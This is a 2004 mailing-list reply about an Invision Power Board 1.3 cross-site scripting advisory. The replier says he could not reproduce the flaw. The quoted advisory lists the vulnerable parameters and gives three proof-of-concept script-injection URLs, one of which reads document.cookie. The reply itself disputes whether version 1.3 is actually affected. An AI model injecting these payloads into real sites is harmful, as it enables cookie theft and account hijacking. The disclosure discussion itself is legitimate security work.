Re: Invision Power Board v1.3 Final Cross Site Scripting Vulnerabillity

[JeiAr <security () gulftech org>]

In-Reply-To: <001301c402d9$f70623b0$0b3016ac@fucku>

I tested this on my fully patched 1.3 install of IPB with no results. I have seen in the past where people have 
reported XSS and the like and used http://demo.invisionboard.com as an example. The XSS DOES work there, but did not 
work on my 1.3 final version. Maybe it has to do with the skin being used, or more likely has different features. Isn't 
the http://demo.invisionboard.com forums 2.X and not 1.3 etc?


> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
> Software:        Invision Power Board
> Vendor:           http://www.invisionboard.com/
> Versions:        (U) v1.3 Final
> Bug:                 Cross Site Scripting Vulnerabillity
> Risk:                Medium
> Exploitation:    Remote with browser
> Date:               29 Feb 2004
> Author:             Rafel Ivgi, The-Insider
> E-Mail:             the_insider () mail com
> Web:                http://theinsider.deep-ice.com
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
> 1) Introduction
> 2) Bug
> 3) The Code
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
> ===============
> 1) Introduction
> ===============
>
> Invision Power Board is available under a yearly and lifetime purchase
> option for both personal and commercial use, no catches, no "spyware",
> no hidden costs anywhere.
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
> ======
> 2) Bug
> ======
>
> The Vulnerabillity is Cross Site Scripting.
> The vulnerable form fields are "c","f","showtopic","showuser","username".
> If an attacker will request the following url from the server:
>
> http://<host>/?c='>&lt;script&gt;alert(window.document.url)&lt;/script&gt;<plaintext>
> Or
> http://<host>/?showtopic='>&lt;script&gt;alert(window.document.url)&lt;/script&gt;<plain
> text>
> Or
> http://<host>/?act=SR&f='>&lt;script&gt;alert(document.cookie)&lt;/script&gt;